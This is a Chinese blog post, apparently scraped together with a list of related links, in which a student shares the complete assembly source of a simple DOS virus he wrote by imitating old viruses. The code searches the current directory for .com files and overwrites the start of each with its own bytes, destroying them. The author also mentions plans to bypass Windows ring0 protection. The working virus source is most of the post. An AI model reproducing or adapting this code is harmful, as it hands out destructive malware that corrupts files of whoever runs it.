自己写的第一个病毒(仿的)
来源:互联网 发布:内录音频软件 编辑:程序博客网 时间:2024/05/16 00:42
下载拉1000多个"史前时期"(82--98年左右)的小病毒 全汇编 (1K---200K) 看拉3个
其实很简单就是几个DOS中断(文件 磁盘操作相关)
自己试着写拉一个:将本目录的*.com(可以随便改想感染的类型)逐个写入指定长度的内容
源代码如下:
data_1e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
COPYR proc far
start:
mov ah,4Eh
mov cl,20h
mov dx,offset data_3
int 21h
loc_1:
mov dx,data_1e
mov ax,3D01h
int 21h
mov bx,ax
mov dx,offset ds:[100h]
mov cl,2Eh
mov ah,40h
int 21h
mov ah,3Eh
int 21h
mov ah,4Fh
int 21h
jnc loc_1
int 20h
data_3 db 2Ah ;*.com的ascii码(十六进制)
db 2Eh, 43h, 4Fh, 4Dh, 00h
COPYR endp
seg_a ends
end start
效果图看相册
我用的是诺顿 xp下能被检出 但是不能运行 会抛异常(XP下禁止中断,用驱动突破ring0级限制 我正在研究 还不会 :) )
正在下载98的镜象 用VPC虚上 程序在98上跑 就能运拉 我估计 呵呵
ps:我写博客的目的是督促自己 寒假学习一下 下学期就要去公司实习拉 别什么都忘拉
- 自己写的第一个病毒(仿的)
- 记生平写的第一个病毒!
- 今天我编写了自己的第一个病毒
- 自己写的第一个PHP作品
- 自己写的第一个SQLSERVER2005触发器
- 我自己写的第一个控件
- 写自己的第一个makefile
- 自己写的第一个shell脚本
- 自己写的第一个小网站
- 自己写的第一个model
- 第一个自己写的banner动画
- 第一个自己写的banner动画
- 记自己写的第一个批处理
- 动手写自己的第一个"操作系统"
- 自己写的第一个存储过程
- 自己写的第一个CasperJS
- 第一个自己写的小程序
- 我的第一个完全自己写的C程序
- Java1.5语言新特性简单总结
- ARP病毒攻击
- 多态性——vptr和vtable
- SQL Server 2005的几个新功能
- CeSetUserNotificationEx 工作不正常
- 自己写的第一个病毒(仿的)
- SQL查询语句精华使用简要
- AT指令集
- Windows Audio不能自动启动
- Swing程序最佳架构设计—以业务对象为中心的MVC模式
- 外企工作日志2
- 我微笑,因为你微笑了
- 如何用正确的方法来写出质量好的软件的75条体会
- openria精华贴第一期正式发布